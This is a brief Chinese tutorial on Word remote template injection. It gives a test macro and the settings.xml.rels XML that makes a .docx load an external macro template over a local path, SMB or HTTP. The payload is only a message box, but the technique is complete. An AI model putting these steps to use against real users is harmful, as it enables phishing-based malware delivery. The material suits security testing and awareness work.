要實現word模板注入,需要一個被注入的文檔,以及一個注入用的模板。
1.創建一個啟用宏的模板
打開word,alt+f8創建編輯宏,在Project->Microsoft Word對象->ThisDocument中編寫宏代碼。
Sub Document_Open()
MsgBox "模板注入測試"
End Sub
保存為帶宏的模板即可。
2.創建被注入文檔
接下來是用於接受注入的文檔,docx實際是個壓縮包,修改后綴為zip並解壓,進入目錄“word/_rels”,創建文件settings.xml.rels,內容為:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="file://x:\your\template\file\path"
TargetMode="External"/>
</Relationships>
Relationship標簽中的Target屬性值可以是本地路徑,也可以是SMB、HTTP等網絡協議。
記錄Id屬性值xxxx,測試發現該值為多少並不影響最終利用。
回到上一級目錄,即“Word/”下,打開文件settings.xml,插入標簽<w:attachedTemplate r:id="xxxx"/>
。
最后打包整個文件夾為zip,修改后綴名為word文檔格式名,比如doc,docx。
最后,雙擊運行,即加載模板。這里測試使用的模板是需要運行宏代碼,所以還是需要“啟用內容”才能生效。